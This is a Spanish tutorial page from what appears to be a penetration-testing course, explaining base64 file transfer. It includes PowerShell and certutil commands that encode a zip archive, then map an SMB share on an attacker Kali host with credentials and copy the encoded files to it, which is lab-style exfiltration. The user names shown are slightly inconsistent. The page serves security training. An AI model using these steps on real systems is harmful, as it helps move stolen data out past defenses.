> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/cpad/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/cpad/introduccion-a-la-evasion-de-defensas/codificando-tus-comandos-de-powershell-en-base64/transferencia-de-archivos-con-base64.md).

# Transferencia de archivos con base64

### <mark style="color:red;">Tecnicas de transferencias de archivos con Base64</mark>

La codificación Base64 se utiliza para representar datos binarios como una cadena de caracteres ASCII. Dado que convierte datos binarios arbitrarios en texto, es adecuada para cualquier tipo de archivo, independientemente de su contenido o extensión. Aquí hay algunas aclaraciones:

1. <mark style="color:red;">**Archivos Binarios**</mark><mark style="color:red;">:</mark> La codificación Base64 es especialmente útil para archivos binarios que no son fácilmente representables como texto, como imágenes (`.jpg`, `.png`), archivos de audio (`.mp3`, `.wav`), archivos de video (`.mp4`, `.avi`), archivos ejecutables (`.exe`, `.dll`) y, por supuesto, archivos `.zip`.
2. <mark style="color:red;">**Archivos de Texto y Scripts**</mark><mark style="color:red;">:</mark> También puedes codificar archivos de texto o scripts (como `.txt`, `.js`, `.py`, etc.) en Base64. No obstante, en muchos casos, codificar archivos de texto en Base64 es innecesario ya que estos archivos ya contienen caracteres legibles.
3. <mark style="color:red;">**Corrupción de Archivos**</mark><mark style="color:red;">:</mark> La codificación y decodificación en Base64 no corromperá tus archivos siempre que el proceso se realice correctamente. Sin embargo, es importante que, si estás transfiriendo o almacenando la cadena Base64 resultante, asegures que no se altere ni modifique. Cualquier cambio en la cadena codificada resultará en un archivo decodificado corrupto.
4. <mark style="color:red;">**Tamaño del Archivo**</mark><mark style="color:red;">:</mark> Es importante recordar que la codificación Base64 aumentará el tamaño del archivo original aproximadamente en un 33%. Esto se debe a la forma en que Base64 representa datos binarios en texto.

Para transferir archivos podemos utilizar base64 para codificar y luego decodificar en el kali:

Utilizando PowerShell

```powershell
PS C:\> $bytes = [System.IO.File]::ReadAllBytes("20230903112419_spartan.zip")
PS C:\> $base64 = [System.Convert]::ToBase64String($bytes)
PS C:\> Set-Content -Value $base64 -Path psb64.txt
```

Utilizando CertUtil:

```bash
C:\Users\gerh\Documents> certutil -encode 20230903112419_spartan.zip certb64.txt
Input Length = 11524
Output Length = 15906
CertUtil: -encode command completed successfully.
```

Y luego podemos trasladar el contenido para decodificar:

```bash
C:\Users\gerh\Documents> net use \\192.168.45.191\kali-share /u:kali kali
The command completed successfully.

C:\Users\pete\Documents> copy certb64.txt \\192.168.45.191\kali-share\certb64.txt
        1 file(s) copied.

C:\Users\pete\Documents> copy psb64.txt \\192.168.45.191\kali-share\psb64.txt
        1 file(s) copied.
```

Para decodificar y obtener el archivo original:

```bash
C:\Users\gerh\Documents> certutil -decode .\psb64.txt comply.zip
Longitud de entrada = 15370
Longitud de salida = 11524
CertUtil: -decode comando completado correctamente.
```
